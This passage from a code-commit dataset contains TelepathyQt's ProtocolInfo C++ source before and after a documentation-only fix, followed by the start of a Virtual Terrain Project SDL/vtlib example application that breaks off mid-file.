* (e.g. \"account\" and \"password\"), or implementation-specific strings.\n *\n * \\return A list of parameters for this protocol.\n *\/\nProtocolParameterList ProtocolInfo::parameters() const\n{\n    if (!isValid()) {\n        return ProtocolParameterList();\n    }\n\n    return mPriv->params;\n}\n\n\/**\n * Return whether a given parameter can be passed to the connection\n * manager when creating a connection to this protocol.\n *\n * \\param name The name of a parameter.\n * \\return true if the given parameter exists.\n *\/\nbool ProtocolInfo::hasParameter(const QString &name) const\n{\n    if (!isValid()) {\n        return false;\n    }\n\n    foreach (const ProtocolParameter &param, mPriv->params) {\n        if (param.name() == name) {\n            return true;\n        }\n    }\n    return false;\n}\n\n\/**\n * Return whether it might be possible to register new accounts on this\n * protocol, by setting the special parameter named\n * <code>register<\/code> to <code>true<\/code>.\n *\n * \\return The same thing as hasParameter(\"register\").\n * \\sa hasParameter()\n *\/\nbool ProtocolInfo::canRegister() const\n{\n    if (!isValid()) {\n        return false;\n    }\n\n    return hasParameter(QLatin1String(\"register\"));\n}\n\n\/**\n * Return the capabilities that are expected to be available from a connection\n * to this protocol, i.e. those for which Connection::createChannel() can\n * reasonably be expected to succeed.\n * User interfaces can use this information to show or hide UI components.\n *\n * @return An object representing the capabilities expected to be available from\n *         a connection to this protocol.\n *\/\nConnectionCapabilities ProtocolInfo::capabilities() const\n{\n    if (!isValid()) {\n        return ConnectionCapabilities();\n    }\n\n    return mPriv->caps;\n}\n\n\/**\n * Return the name of the most common vCard field used for this protocol's\n * contact identifiers, normalized to lower case.\n *\n * One valid use of this field is to answer the question: given a contact's\n * vCard containing an X-JABBER field, how can you communicate with the contact?\n * By iterating through protocols looking for an x-jabber VCardField, one can\n * build up a list of protocols that handle x-jabber, then offer the user a list\n * of accounts for those protocols and\/or the option to create a new account for\n * one of those protocols.\n * It is not necessarily valid to interpret contacts' identifiers as values of\n * this vCard field. For instance, telepathy-sofiasip supports contacts whose\n * identifiers are of the form sip:jenny@example.com or tel:8675309, which would\n * not normally both be represented by any single vCard field.\n *\n * \\return The most common vCard field used for this protocol's contact\n *         identifiers, or an empty string if there is no such field.\n *\/\nQString ProtocolInfo::vcardField() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return mPriv->vcardField;\n}\n\n\/**\n * Return the English-language name of this protocol, such as \"AIM\" or \"Yahoo!\".\n *\n * The name can be used as a fallback if an application doesn't have a localized name for this\n * protocol.\n *\n * If the manager file or the CM service doesn't specify the english name, it is inferred from this\n * protocol name, such that for example \"google-talk\" becomes \"Google Talk\", but \"local-xmpp\"\n * becomes \"Local Xmpp\".\n *\n * \\return An English-language name for this protocol.\n *\/\nQString ProtocolInfo::englishName() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return mPriv->englishName;\n}\n\n\/**\n * Return the name of an icon for this protocol in the system's icon theme, such as \"im-msn\".\n *\n * If the manager file or the CM service doesn't specify the icon name, \"im-<protocolname>\" is\n * assumed.\n *\n * \\return The likely name of an icon for this protocol.\n *\/\nQString ProtocolInfo::iconName() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return mPriv->iconName;\n}\n\n\/**\n * Return a list of PresenceSpec representing the possible presence statuses\n * from a connection to this protocol.\n *\n * \\return A list of PresenceSpec representing the possible presence statuses\n *         from a connection to this protocol.\n *\/\nPresenceSpecList ProtocolInfo::allowedPresenceStatuses() const\n{\n    if (!isValid()) {\n        return PresenceSpecList();\n    }\n\n    return mPriv->statuses;\n}\n\n\/**\n * Return the requirements (size limits, supported MIME types, etc)\n * for avatars used on to this protocol.\n *\n * \\return The requirements for avatars used on this protocol.\n *\/\nAvatarSpec ProtocolInfo::avatarRequirements() const\n{\n    if (!isValid()) {\n        return AvatarSpec();\n    }\n\n    return mPriv->avatarRequirements;\n}\n\n\/**\n * Return the vCard fields that can be used to request a contact with on this protocol,\n * normalized to lower case.\n *\n * \\return The vCard fields normalized to lower case.\n * \\sa addressableUriSchemes()\n *\/\nQStringList ProtocolInfo::addressableVCardFields() const\n{\n    if (!isValid()) {\n        return QStringList();\n    }\n\n    return mPriv->addressableVCardFields;\n}\n\n\/**\n * Return the URI schemes that are supported by this protocol.\n *\n * \\return The URI schemes.\n * \\sa addressableVCardFields()\n *\/\nQStringList ProtocolInfo::addressableUriSchemes() const\n{\n    if (!isValid()) {\n        return QStringList();\n    }\n\n    return mPriv->addressableUriSchemes;\n}\n\n\/**\n * Attempt to normalize the given \\a vcardAddress.\n *\n * An example would be a vCard TEL field with a formatted number in the form of\n * +1 (206) 555 1234, this would be normalized to +12065551234.\n *\n * \\param vcardField The vCard field of the address we are normalizing.\n * \\param vcardAddress The address to normalize.\n * \\return A PendingString which will emit PendingString::finished\n *         when the address has being normalized or an error occurred.\n * \\sa normalizeContactUri()\n *\/\nPendingString *ProtocolInfo::normalizeVCardAddress(const QString &vcardField,\n        const QString &vcardAddress)\n{\n    if (!isValid()) {\n        return new PendingString(TP_QT_ERROR_NOT_AVAILABLE,\n                QLatin1String(\"Protocol object is invalid\"));\n    }\n\n    Client::ProtocolInterfaceAddressingInterface *iface = mPriv->addressingInterface();\n    if (!iface->isValid()) {\n        \/\/ cm is still valid but no Protocol object found\n        return new PendingString(TP_QT_ERROR_NOT_IMPLEMENTED,\n                QLatin1String(\"ConnectionManager does not support Protocol.I.Addressing\"));\n    }\n\n    return new PendingString(iface->NormalizeVCardAddress(vcardField, vcardAddress),\n            connectionManager());\n}\n\n\/**\n * Attempt to normalize the given contact \\a uri.\n *\n * If the URI has extra information beyond what's necessary to identify a particular contact, such\n * as an XMPP resource or an action to carry out, this extra information wil be removed.\n *\n * An example would be xmpp:romeo@Example.Com\/Empathy?message;body=Hello, which would be normalized\n * to xmpp:romeo@example.com.\n *\n * \\param uri The URI to normalize.\n * \\return A PendingString which will emit PendingString::finished\n *         when the \\a uri has being normalized or an error occurred.\n * \\sa normalizeVCardAddress()\n *\/\nPendingString *ProtocolInfo::normalizeContactUri(const QString &uri)\n{\n    if (!isValid()) {\n        return new PendingString(TP_QT_ERROR_NOT_AVAILABLE,\n                QLatin1String(\"Protocol object is invalid\"));\n    }\n\n    Client::ProtocolInterfaceAddressingInterface *iface = mPriv->addressingInterface();\n    if (!iface->isValid()) {\n        \/\/ cm is still valid but no Protocol object found\n        return new PendingString(TP_QT_ERROR_NOT_IMPLEMENTED,\n                QLatin1String(\"ConnectionManager does not support Protocol.I.Addressing\"));\n    }\n\n    return new PendingString(iface->NormalizeContactURI(uri),\n            connectionManager());\n}\n\nvoid ProtocolInfo::addParameter(const ParamSpec &spec)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    QVariant defaultValue;\n    if (spec.flags & ConnMgrParamFlagHasDefault) {\n        defaultValue = spec.defaultValue.variant();\n    }\n\n    uint flags = spec.flags;\n    if (spec.name.endsWith(QLatin1String(\"password\"))) {\n        flags |= ConnMgrParamFlagSecret;\n    }\n\n    ProtocolParameter param(spec.name,\n            QDBusSignature(spec.signature),\n            defaultValue,\n            (ConnMgrParamFlag) flags);\n    mPriv->params.append(param);\n}\n\nvoid ProtocolInfo::setVCardField(const QString &vcardField)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->vcardField = vcardField;\n}\n\nvoid ProtocolInfo::setEnglishName(const QString &englishName)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->englishName = englishName;\n}\n\nvoid ProtocolInfo::setIconName(const QString &iconName)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->iconName = iconName;\n}\n\nvoid ProtocolInfo::setRequestableChannelClasses(\n        const RequestableChannelClassList &caps)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->caps.updateRequestableChannelClasses(caps);\n}\n\nvoid ProtocolInfo::setAllowedPresenceStatuses(const PresenceSpecList &statuses)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->statuses = statuses;\n}\n\nvoid ProtocolInfo::setAvatarRequirements(const AvatarSpec &avatarRequirements)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->avatarRequirements = avatarRequirements;\n}\n\nvoid ProtocolInfo::setAddressableVCardFields(const QStringList &vcardFields)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->addressableVCardFields = vcardFields;\n}\n\nvoid ProtocolInfo::setAddressableUriSchemes(const QStringList &uriSchemes)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->addressableUriSchemes = uriSchemes;\n}\n\n} \/\/ Tp\n<commit_msg>ProtocolInfo: Fix some small doc issues.<commit_after>\/**\n * This file is part of TelepathyQt\n *\n * @copyright Copyright (C) 2010 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n * @copyright Copyright (C) 2010 Nokia Corporation\n * @license LGPL 2.1\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include <TelepathyQt\/ProtocolInfo>\n\n#include <TelepathyQt\/ConnectionCapabilities>\n#include <TelepathyQt\/ConnectionManager>\n#include <TelepathyQt\/PendingFailure>\n#include <TelepathyQt\/PendingString>\n\nnamespace Tp\n{\n\nstruct TP_QT_NO_EXPORT ProtocolInfo::Private : public QSharedData\n{\n    Private()\n        : addressingIface(0)\n    {\n    }\n\n    Private(const ConnectionManagerPtr &cm, const QString &name)\n        : cm(cm),\n          name(name),\n          iconName(QString(QLatin1String(\"im-%1\")).arg(name)),\n          addressingIface(0)\n    {\n    }\n\n    ~Private()\n    {\n        delete addressingIface;\n    }\n\n    Client::ProtocolInterfaceAddressingInterface *addressingInterface()\n    {\n        if (!addressingIface) {\n            ConnectionManagerPtr connectionManager(cm);\n            QString escapedProtocolName = name;\n            escapedProtocolName.replace(QLatin1Char('-'), QLatin1Char('_'));\n            QString protocolPath = QString(\n                    QLatin1String(\"%1\/%2\"))\n                        .arg(connectionManager->objectPath())\n                        .arg(escapedProtocolName);\n            addressingIface = new Client::ProtocolInterfaceAddressingInterface(\n                connectionManager->dbusConnection(),\n                connectionManager->busName(), protocolPath);\n        }\n\n        return addressingIface;\n    }\n\n    WeakPtr<ConnectionManager> cm;\n    QString name;\n    ProtocolParameterList params;\n    ConnectionCapabilities caps;\n    QString vcardField;\n    QString englishName;\n    QString iconName;\n    PresenceSpecList statuses;\n    AvatarSpec avatarRequirements;\n    QStringList addressableVCardFields;\n    QStringList addressableUriSchemes;\n\n    Client::ProtocolInterfaceAddressingInterface *addressingIface;\n};\n\n\/**\n * \\class ProtocolInfo\n * \\ingroup clientcm\n * \\headerfile TelepathyQt\/protocol-info.h <TelepathyQt\/ProtocolInfo>\n *\n * \\brief The ProtocolInfo class represents a <a\n * href=\"http:\/\/telepathy.freedesktop.org\/spec\/Protocol.html\">Telepathy Protocol<\/a>.\n *\/\n\nProtocolInfo::ProtocolInfo()\n{\n}\n\n\/**\n * Construct a new ProtocolInfo object.\n *\n * \\param cm Connection manager owning this ProtocolInfo.\n * \\param name Protocol name.\n *\/\nProtocolInfo::ProtocolInfo(const ConnectionManagerPtr &cm, const QString &name)\n    : mPriv(new Private(cm, name))\n{\n}\n\nProtocolInfo::ProtocolInfo(const ProtocolInfo &other)\n    : mPriv(other.mPriv)\n{\n}\n\n\/**\n * Class destructor.\n *\/\nProtocolInfo::~ProtocolInfo()\n{\n}\n\nbool ProtocolInfo::isValid() const\n{\n    return ((mPriv.constData() != 0) && !(connectionManager().isNull()));\n}\n\nConnectionManagerPtr ProtocolInfo::connectionManager() const\n{\n    return (mPriv.constData() != 0 ? ConnectionManagerPtr(mPriv->cm) : ConnectionManagerPtr());\n}\n\nProtocolInfo &ProtocolInfo::operator=(const ProtocolInfo &other)\n{\n    this->mPriv = other.mPriv;\n    return *this;\n}\n\n\/**\n * Return the short name of the connection manager (e.g. \"gabble\") for this protocol.\n *\n * \\return The name of the connection manager for this protocol.\n *\/\nQString ProtocolInfo::cmName() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return connectionManager()->name();\n}\n\n\/**\n * Return the string identifying this protocol as described in the \\telepathy_spec\n * (e.g. \"jabber\").\n *\n * This identifier is not intended to be displayed to users directly; user\n * interfaces are responsible for mapping them to localized strings.\n *\n * \\return A string identifying this protocol.\n *\/\nQString ProtocolInfo::name() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return mPriv->name;\n}\n\n\/**\n * Return all supported parameters for this protocol. The parameters' names\n * may either be the well-known strings specified by the \\telepathy_spec\n * (e.g. \"account\" and \"password\"), or implementation-specific strings.\n *\n * \\return A list of parameters for this protocol.\n *\/\nProtocolParameterList ProtocolInfo::parameters() const\n{\n    if (!isValid()) {\n        return ProtocolParameterList();\n    }\n\n    return mPriv->params;\n}\n\n\/**\n * Return whether a given parameter can be passed to the connection\n * manager when creating a connection to this protocol.\n *\n * \\param name The name of a parameter.\n * \\return true if the given parameter exists.\n *\/\nbool ProtocolInfo::hasParameter(const QString &name) const\n{\n    if (!isValid()) {\n        return false;\n    }\n\n    foreach (const ProtocolParameter &param, mPriv->params) {\n        if (param.name() == name) {\n            return true;\n        }\n    }\n    return false;\n}\n\n\/**\n * Return whether it might be possible to register new accounts on this\n * protocol, by setting the special parameter named\n * <code>register<\/code> to <code>true<\/code>.\n *\n * \\return The same thing as hasParameter(\"register\").\n * \\sa hasParameter()\n *\/\nbool ProtocolInfo::canRegister() const\n{\n    if (!isValid()) {\n        return false;\n    }\n\n    return hasParameter(QLatin1String(\"register\"));\n}\n\n\/**\n * Return the capabilities that are expected to be available from a connection\n * to this protocol, i.e. those for which Connection::createChannel() can\n * reasonably be expected to succeed.\n * User interfaces can use this information to show or hide UI components.\n *\n * @return An object representing the capabilities expected to be available from\n *         a connection to this protocol.\n *\/\nConnectionCapabilities ProtocolInfo::capabilities() const\n{\n    if (!isValid()) {\n        return ConnectionCapabilities();\n    }\n\n    return mPriv->caps;\n}\n\n\/**\n * Return the name of the most common vCard field used for this protocol's\n * contact identifiers, normalized to lower case.\n *\n * One valid use of this field is to answer the question: given a contact's\n * vCard containing an X-JABBER field, how can you communicate with the contact?\n * By iterating through protocols looking for an x-jabber VCardField, one can\n * build up a list of protocols that handle x-jabber, then offer the user a list\n * of accounts for those protocols and\/or the option to create a new account for\n * one of those protocols.\n * It is not necessarily valid to interpret contacts' identifiers as values of\n * this vCard field. For instance, telepathy-sofiasip supports contacts whose\n * identifiers are of the form sip:jenny@example.com or tel:8675309, which would\n * not normally both be represented by any single vCard field.\n *\n * \\return The most common vCard field used for this protocol's contact\n *         identifiers, or an empty string if there is no such field.\n *\/\nQString ProtocolInfo::vcardField() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return mPriv->vcardField;\n}\n\n\/**\n * Return the English-language name of this protocol, such as \"AIM\" or \"Yahoo!\".\n *\n * The name can be used as a fallback if an application doesn't have a localized name for this\n * protocol.\n *\n * If the manager file or the CM service doesn't specify the english name, it is inferred from this\n * protocol name, such that for example \"google-talk\" becomes \"Google Talk\", but \"local-xmpp\"\n * becomes \"Local Xmpp\".\n *\n * \\return An English-language name for this protocol.\n *\/\nQString ProtocolInfo::englishName() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return mPriv->englishName;\n}\n\n\/**\n * Return the name of an icon for this protocol in the system's icon theme, such as \"im-msn\".\n *\n * If the manager file or the CM service doesn't specify the icon name, \"im-<protocolname>\" is\n * assumed.\n *\n * \\return The likely name of an icon for this protocol.\n *\/\nQString ProtocolInfo::iconName() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return mPriv->iconName;\n}\n\n\/**\n * Return a list of PresenceSpec representing the possible presence statuses\n * from a connection to this protocol.\n *\n * \\return A list of PresenceSpec representing the possible presence statuses\n *         from a connection to this protocol.\n *\/\nPresenceSpecList ProtocolInfo::allowedPresenceStatuses() const\n{\n    if (!isValid()) {\n        return PresenceSpecList();\n    }\n\n    return mPriv->statuses;\n}\n\n\/**\n * Return the requirements (size limits, supported MIME types, etc)\n * for avatars used on to this protocol.\n *\n * \\return The requirements for avatars used on this protocol.\n *\/\nAvatarSpec ProtocolInfo::avatarRequirements() const\n{\n    if (!isValid()) {\n        return AvatarSpec();\n    }\n\n    return mPriv->avatarRequirements;\n}\n\n\/**\n * Return the vCard fields that can be used to request a contact with on this protocol,\n * normalized to lower case.\n *\n * \\return The vCard fields normalized to lower case.\n * \\sa addressableUriSchemes()\n *\/\nQStringList ProtocolInfo::addressableVCardFields() const\n{\n    if (!isValid()) {\n        return QStringList();\n    }\n\n    return mPriv->addressableVCardFields;\n}\n\n\/**\n * Return the URI schemes that are supported by this protocol.\n *\n * \\return The URI schemes.\n * \\sa addressableVCardFields()\n *\/\nQStringList ProtocolInfo::addressableUriSchemes() const\n{\n    if (!isValid()) {\n        return QStringList();\n    }\n\n    return mPriv->addressableUriSchemes;\n}\n\n\/**\n * Attempt to normalize the given \\a vcardAddress.\n *\n * For example, a vCard TEL field with a formatted number in the form of\n * +1 (206) 555 1234, could be normalized to +12065551234.\n *\n * \\param vcardField The vCard field the \\a vcardAddress belongs to.\n * \\param vcardAddress The address to normalize.\n * \\return A PendingString which will emit PendingString::finished\n *         when the address has been normalized or an error occurred.\n * \\sa normalizeContactUri()\n *\/\nPendingString *ProtocolInfo::normalizeVCardAddress(const QString &vcardField,\n        const QString &vcardAddress)\n{\n    if (!isValid()) {\n        return new PendingString(TP_QT_ERROR_NOT_AVAILABLE,\n                QLatin1String(\"Protocol object is invalid\"));\n    }\n\n    Client::ProtocolInterfaceAddressingInterface *iface = mPriv->addressingInterface();\n    if (!iface->isValid()) {\n        \/\/ cm is still valid but no Protocol object found\n        return new PendingString(TP_QT_ERROR_NOT_IMPLEMENTED,\n                QLatin1String(\"ConnectionManager does not support Protocol.I.Addressing\"));\n    }\n\n    return new PendingString(iface->NormalizeVCardAddress(vcardField, vcardAddress),\n            connectionManager());\n}\n\n\/**\n * Attempt to normalize the given contact \\a uri.\n *\n * If the URI has extra information beyond what's necessary to identify a particular contact, such\n * as an XMPP resource or an action to carry out, this extra information wil be removed.\n *\n * An example would be xmpp:romeo@Example.Com\/Empathy?message;body=Hello, which would be normalized\n * to xmpp:romeo@example.com.\n *\n * \\param uri The URI to normalize.\n * \\return A PendingString which will emit PendingString::finished\n *         when the \\a uri has been normalized or an error occurred.\n * \\sa normalizeVCardAddress()\n *\/\nPendingString *ProtocolInfo::normalizeContactUri(const QString &uri)\n{\n    if (!isValid()) {\n        return new PendingString(TP_QT_ERROR_NOT_AVAILABLE,\n                QLatin1String(\"Protocol object is invalid\"));\n    }\n\n    Client::ProtocolInterfaceAddressingInterface *iface = mPriv->addressingInterface();\n    if (!iface->isValid()) {\n        \/\/ cm is still valid but no Protocol object found\n        return new PendingString(TP_QT_ERROR_NOT_IMPLEMENTED,\n                QLatin1String(\"ConnectionManager does not support Protocol.I.Addressing\"));\n    }\n\n    return new PendingString(iface->NormalizeContactURI(uri),\n            connectionManager());\n}\n\nvoid ProtocolInfo::addParameter(const ParamSpec &spec)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    QVariant defaultValue;\n    if (spec.flags & ConnMgrParamFlagHasDefault) {\n        defaultValue = spec.defaultValue.variant();\n    }\n\n    uint flags = spec.flags;\n    if (spec.name.endsWith(QLatin1String(\"password\"))) {\n        flags |= ConnMgrParamFlagSecret;\n    }\n\n    ProtocolParameter param(spec.name,\n            QDBusSignature(spec.signature),\n            defaultValue,\n            (ConnMgrParamFlag) flags);\n    mPriv->params.append(param);\n}\n\nvoid ProtocolInfo::setVCardField(const QString &vcardField)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->vcardField = vcardField;\n}\n\nvoid ProtocolInfo::setEnglishName(const QString &englishName)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->englishName = englishName;\n}\n\nvoid ProtocolInfo::setIconName(const QString &iconName)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->iconName = iconName;\n}\n\nvoid ProtocolInfo::setRequestableChannelClasses(\n        const RequestableChannelClassList &caps)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->caps.updateRequestableChannelClasses(caps);\n}\n\nvoid ProtocolInfo::setAllowedPresenceStatuses(const PresenceSpecList &statuses)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->statuses = statuses;\n}\n\nvoid ProtocolInfo::setAvatarRequirements(const AvatarSpec &avatarRequirements)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->avatarRequirements = avatarRequirements;\n}\n\nvoid ProtocolInfo::setAddressableVCardFields(const QStringList &vcardFields)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->addressableVCardFields = vcardFields;\n}\n\nvoid ProtocolInfo::setAddressableUriSchemes(const QStringList &uriSchemes)\n{\n    if (!isValid()) {\n        mPriv = new Private;\n    }\n\n    mPriv->addressableUriSchemes = uriSchemes;\n}\n\n} \/\/ Tp\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Name:\t app.cpp\n\/\/ Purpose:  Example GLUT\/vtlib application.\n\/\/\n\/\/ Copyright (c) 2001 Virtual Terrain Project\n\/\/ Free for all uses, see license.txt for details.\n\/\/\n\n#include \"SDL.h\"\n#ifdef __FreeBSD__\n#  include <ieeefp.h>\n#endif\n\n#include \"vtlib\/vtlib.h\"\n#include \"vtlib\/core\/Terrain.h\"\n#include \"vtlib\/core\/TerrainScene.h\"\n#include \"vtlib\/core\/NavEngines.h\"\n\nclass App\n{\npublic:\n\tbool CreateScene();\n\n\tvoid videosettings(bool same_video_mode, bool fullscreen);\n\tvoid display();\n\tvoid run();\n\tint main();\n\tvoid process_mouse_button(const SDL_Event &event);\n\tvoid process_mouse_motion(const SDL_Event &event);\n\tvoid process_event(const SDL_Event &event);\n\tvoid process_events();\n};\n\n\n\/\/\n\/\/ Initialize the SDL display.  This code originated from another project,\n\/\/ so i am not sure of the details, but it should work well on each\n\/\/ platform.\n\/\/\nvoid App::videosettings(bool same_video_mode, bool fullscreen)\n{\n\tint width, height;\n\n\tif ( ( SDL_Init( SDL_INIT_VIDEO | SDL_INIT_AUDIO ) == -1 ) )\n\t{\n\t\tstd::cerr << \"Could not initialize SDL: \" << SDL_GetError() << std::endl;\n\t\texit( -1 );\n\t}\n\tatexit( SDL_Quit );\n\n\tSDL_VideoInfo const * info = SDL_GetVideoInfo();\n\tif( !info )\n\t{\n\t\tstd::cerr << \"Video query failed: \" << SDL_GetError( ) << std::endl;\n\t\texit( -1 );\n\t}\n\n\tint num_modes;\n\tSDL_Rect ** modes = SDL_ListModes(NULL, SDL_FULLSCREEN);\n\tif ( (modes != NULL) && (modes != (SDL_Rect **)-1) )\n\t{\n\t\tfor (num_modes = 0; modes[num_modes]; num_modes++);\n\t\tif ( same_video_mode )\n\t\t{\n\t\t\t\/\/ EEERRR should get the surface and use its parameters\n\t\t\twidth = modes[0]->w;\n\t\t\theight = modes[0]->h;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor ( int i=num_modes-1; i >= 0; i-- )\n\t\t\t{\n\t\t\t\twidth = modes[i]->w;\n\t\t\t\theight = modes[i]->h;\n\t\t\t\tif ( (modes[i]->w >= 1024) && (modes[i]->h >= 768) ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} \n\t}\n\telse\n\t{\n\t\tstd::cerr << \"Video list modes failed: \" << SDL_GetError( ) << std::endl; \n\t\texit( -1 );\n\t}\n\n\tstd::cerr << width << \" \" << height << std::endl;\n\tSDL_GL_SetAttribute( SDL_GL_RED_SIZE, 5 );\n\tSDL_GL_SetAttribute( SDL_GL_GREEN_SIZE, 5 );\n\tSDL_GL_SetAttribute( SDL_GL_BLUE_SIZE, 5 );\n\tSDL_GL_SetAttribute( SDL_GL_DEPTH_SIZE, 16 );\n\tSDL_GL_SetAttribute( SDL_GL_DOUBLEBUFFER, 1 );\n\n\tint flags = SDL_OPENGL | SDL_DOUBLEBUF;\n\n\tif (fullscreen)\n\t\tflags |= SDL_FULLSCREEN;\n\tif ( info->hw_available )\n\t\tflags |= SDL_HWSURFACE;\n\telse\n\t\tflags |= SDL_SWSURFACE;\n\n\tif ( info->blit_hw )\n\t\tflags |= SDL_HWACCEL;\n\n\tif( SDL_SetVideoMode( width, height, 16, flags ) == 0 )\n\t{\n\t\tstd::cerr << \"Video mode set failed: \" << SDL_GetError( ) << std::endl; \n\t\texit( -1 );\n\t}\n\t\/\/ Tell the SDL output size to vtlib\n\tvtGetScene()->SetWindowSize(width, height);\n}\n\n\/\/--------------------------------------------------------------------------\n\n\/\/\n\/\/ Create the 3d scene: call vtlib to load the terrain and prepare for\n\/\/ user interaction.\n\/\/\nbool App::CreateScene()\n{\n\t\/\/ Get a handle to the vtScene - one is already created for you\n\tvtScene *pScene = vtGetScene();\n\tpScene->Init();\n\n\t\/\/ Set the global data path\n\tStringArray paths;\n\tpaths.Append(new vtString(\"Data\/\"));\n\tvtTerrain::SetDataPath(paths);\n\n\t\/\/ Look up the camera\n\tvtCamera *pCamera = pScene->GetCamera();\n\tpCamera->SetHither(10);\n\tpCamera->SetYon(100000);\n\n\t\/\/ Create a new terrain scene.  This will contain all the terrain\n\t\/\/ that are created.\n\tvtTerrainScene *ts = new vtTerrainScene();\n\tvtRoot *pTopGroup = ts->BeginTerrainScene(false);\n\n\t\/\/ Tell the scene graph to point to this terrain scene\n\tpScene->SetRoot(pTopGroup);\n\n\t\/\/ Create a new vtTerrain, read its paramters from a file\n\tvtTerrain *pTerr = new vtTerrain();\n\tpTerr->SetParamFile(\"Data\/Simple.ini\");\n\n\t\/\/ Add the terrain to the scene, and contruct it\n\tts->AppendTerrain(pTerr);\n\tint iError;\n\tif (!pTerr->CreateScene(false, iError))\n\t{\n\t\tprintf(\"Terrain creation failed.\");\n\t\treturn false;\n\t}\n\tts->Finish(paths);\n\tts->SetTerrain(pTerr);\n\n\t\/\/ Create a navigation engine to move around on the terrain\n\t\/\/ Flight speed is 400 m\/frame\n\t\/\/ Height over terrain is 100 m\n\tvtTerrainFlyer *pFlyer = new vtTerrainFlyer(400, 100, true);\n\tpFlyer->SetTarget(pCamera);\n\tpFlyer->SetHeightField(pTerr->GetHeightField());\n\tpScene->AddEngine(pFlyer);\n\n\treturn true;\n}\n\nvoid App::display()\n{\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n\tvtGetScene()->DoUpdate();\n\n\tglFinish();\n\tSDL_GL_SwapBuffers();\n}\n\nvoid App::process_mouse_button(const SDL_Event &sdle)\n{\n\t\/\/ turn SDL mouse button event into a VT mouse event\n\tvtMouseEvent event;\n\tevent.type = (sdle.button.type == SDL_MOUSEBUTTONDOWN) ? VT_DOWN : VT_UP;\n\n\tif (sdle.button.button == 1)\n\t\tevent.button = VT_LEFT;\n\telse if (sdle.button.button == 2)\n\t\tevent.button = VT_MIDDLE;\n\telse if (sdle.button.button == 3)\n\t\tevent.button = VT_RIGHT;\n\n\tevent.flags = 0;\n\tevent.pos.Set(sdle.button.x, sdle.button.y);\n\n\tvtGetScene()->OnMouse(event);\n}\n\nvoid App::process_mouse_motion(const SDL_Event &sdle)\n{\n\t\/\/ turn SDL mouse move event into a VT mouse event\n\tvtMouseEvent event;\n\tevent.type = VT_MOVE;\n\tevent.button = VT_NONE;\n\tevent.flags = 0;\n\tevent.pos.Set(sdle.motion.x, sdle.motion.y);\n\n\tvtGetScene()->OnMouse(event);\n}\n\nvoid App::process_event(const SDL_Event &event)\n{\n\tint key;\n\n\tswitch( event.type )\n\t{\n\t\tcase SDL_QUIT:\n\t\t\texit(0);\n\t\tcase SDL_KEYDOWN:\n\t\t\tbreak;\n\t\tcase SDL_KEYUP:\n\t\t\t\/\/ turn SDL key event into a VT mouse event\n\t\t\tkey = event.key.keysym.sym;\n\t\t\tif ( key == 27 \/* ESC *\/ || key == 'q' || key == 'Q' )\n\t\t\t\texit(0);\n\t\t\tvtGetScene()->OnKey(key, 0);\n\t\t\tbreak;\n\t\tcase SDL_MOUSEMOTION:\n\t\t\tprocess_mouse_motion(event);\n\t\t\tbreak;\n\t\tcase SDL_MOUSEBUTTONDOWN:\n\t\tcase SDL_MOUSEBUTTONUP:\n\t\t\tprocess_mouse_button(event);\n\t\t\tbreak;\n\t\tcase SDL_VIDEORESIZE:\n\t\t\t\/\/ Tell vtlib\n\t\t\tvtGetScene()->SetWindowSize(event.resize.w, event.resize.h);\n\t\t\tbreak;\n\t}\n}\n\nvoid App::process_events()\n{\n\tSDL_Event event;\n\n\twhile ( SDL_PollEvent( &event ) )\n\t\tprocess_event(event);\n}\n\nvoid App::run()\n{\n\twhile ( true )\n\t{\n\t\tdisplay();\t\t\t\/\/ draw scene\n\t\tprocess_events();\t\/\/ handle user events\n\t}\n}\n\n\/*\n  The works.\n*\/\nint App::main()\n{\n#ifdef __FreeBSD__\n\t\/*  FreeBSD is more stringent with FP ops by default, and OSG is\t*\/\n\t\/*\tdoing silly things sqrt(Inf) (computing lengths of MAXFLOAT\t\t*\/\n\t\/*\tand NaN Vec3's).   This 